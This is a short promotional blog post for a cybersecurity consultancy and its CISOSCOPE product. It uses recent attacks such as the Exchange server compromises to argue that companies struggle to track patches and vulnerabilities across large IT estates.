The inglorious major cyber attacks of the past months made big IT software and service providers fall flat on their faces. The attacks were successful for a number of reasons varying from a simple human error in the assessment of IT system’s vulnerability to extreme sophistication of the attack itself. The bottom line is that no one was prepared. And we are yet to discover the full extent of the damage done.

If you think you are not concerned or that you are invincible, think again! Even the best protected IT infrastructure has its weaknesses and vulnerabilities.

IT system’s monitoring task becomes increasingly more complex. Things are no longer just in one place, given that systems are migrating into the cloud. It is becoming a challenge to have a clear view on the inventory of the IT infrastructure, let alone tracking patches and vendor advisories.

Did you realize that your Citrix server has not been properly patched due to a misunderstanding with the hosting provider? And did you know that there was a zero-day exploit published for your online shop just yesterday?

Protecting your IT assets from hackers has become a constant cat-and-mouse game. When one security loophole is closed, another is discovered and requires urgent action. With an average IT installation easily consisting of 500+ products by at least a dozen of vendors, it is a tedious task to keep track of all potential security issues. Almost 20,000 security relevant bugs have been registered in 2020 alone.

The global scope and the speed of the recent cyber attacks on Exchange servers showed that a mere installing of updates on a regular basis is not sufficient. Cyber criminals strike systematically only a few hours after a vulnerability becomes known and in most cases before the relevant system patching software update is available.

If you want to know how to get out of that rat-race, contact us now. We offer high quality tailored advice on assessing and minimizing your cyber risks. Our product CISOSCOPE provides AI support for your cyber security.